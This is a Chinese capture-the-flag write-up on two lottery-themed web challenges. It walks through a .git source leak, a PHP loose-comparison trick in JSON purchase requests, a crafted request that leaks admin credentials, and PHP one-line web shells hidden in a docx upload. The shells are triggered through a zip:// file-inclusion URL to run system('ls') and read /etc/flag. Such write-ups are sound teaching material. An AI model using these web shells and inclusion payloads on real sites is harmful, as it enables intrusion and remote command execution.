攻防世界Lottery&彩票系统
攻防世界Lottery&彩票系统
做了下有关于彩票系统的题,一道是攻防世界上的lottery,还有一道是升级版的彩票系统。
Lottery
准备工作
点击play to win,会来到注册界面,随便注册一个号,会来到buy的页面。一开始我们有20元钱,买flag需要$9990000,钱不够,那么一定是需要修改账户金额的(欧皇除外
抓个买彩票的包看看,numbers是用户输入的彩票,后端生成一个win_numbers来进行逐位比较。
git源码泄露
在robots.txt下看到
User-agent: *
Disallow: /.git/
直接想到git源码泄露,用git_extract拿到源码
php弱类型比较
审计一下api.php,发现buy的函数
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
$win_numbers是随机生成的字符串,使用php弱类型松散比较,所以此处就是我们可以利用的漏洞。测试一下,发现当true和一个数字或者字母进行比较的时候,永远返回true
json支持布尔类型,改包如下,直接中大奖,舒服了。这样就可以一直刷钱了(非酋集合!火速刷钱,点击就送)
刷够钱买flag,拿下!
彩票系统
这道题涉及之前的php弱类型比较,还有文件上传+伪协议文件包含
这道题的环境在安恒的某次比赛上,这边就不放了,如果之后上线buu那就好了。
看一下截图来跟我云复现一下吧。
准备工作
前端风格和刚才做的lottery很像,一个模子刻出来的。也是注册账号买彩票,抓一下买彩票的包
这次有了上一道题的基础,直接改包刷钱
去账户信息里看看,发现有个用户权限,提示普通用户,那么是不是有管理员呢?继续看下去,发现刷钱只能刷到$5000000
去交易市场看一下,有两个button,一个是买flag的,一个是买hint的,点击没有反应,猜测是没有提交json数据,所以需要我们去构造。
构造请求
方法一
这里我们利用上一题买flag时发送的请求看看,发现传了{"action":"flag"}
购买flag会说钱不够,把我们的钱锁在了$5000000,所以只能购买hint,构造包如下。
POST /api.php HTTP/1.1
Host: das.wetolink.com:44002
Content-Length: 19
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/json
Origin: http://das.wetolink.com:44002
Referer: http://das.wetolink.com:44002/market.php
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: username="2|1:0|10:1596766380|8:username|8:MTIzNDU2|b9c1d7c0c7aecf6f4ba175badf38d35a6be3e07f4974b65621f946482cad03be"; commodity_id="2|1:0|10:1596766421|12:commodity_id|4:Mzg=|93ef8f80732e0c1ecf27ba02c267920523e81a2a5b6c4b9a46a5f022d882d6ef"; PHPSESSID=qjte61iu96k6qrkf4po093iib6
Connection: close
{"action":"hint"}
获得管理员的账号和密码
方法二
查看源码,在js里找到ajax请求,复制到控制台里
直接请求flag会说哥们钱不够,因为把我们钱锁在了$5000000
把flag请求改成hint发送,购买成功
得到管理员账号密码
文件上传+伪协议文件包含
用管理员帐号登录,发现权限已经变成超级管理员
可以看到有一个黑产页面信息处理页面
文件上传只允许上传docx文件,docx本身是一个压缩包,可以在docx里插入一个aaa.php,里面写入一句话木马。
post型蚁剑连
<?php @eval($_POST[a]);?>
上传docx文件,上传成功,然后利用php的zip伪协议包含改文件
http://das.wetolink.com:44002/bill.php?page=zip://./uploads/2f8bc07bf1a7c44b73d93cda8ba3945328bb584d.docx%23aaa
%23是url编码下的#然后aaa不加后缀是因为会自动帮你加上
用蚁剑连接getshell
flag在etc/flag下
get型命令执行
<?php @eval($_GET[b]);?>
同样的,把php文件丢进改了后缀的docx文件里
伪协议包含下
http://das.wetolink.com:44002/bill.php?page=zip://./uploads/efc3256cbfa62bc501c73d0f0f5a850f863b764d.docx%23bbb&b=system('ls');
命令执行成功
在etc/flag找到flag
http://das.wetolink.com:44002/bill.php?page=zip://./uploads/efc3256cbfa62bc501c73d0f0f5a850f863b764d.docx%23bbb&b=system('cat ../../../etc/flag');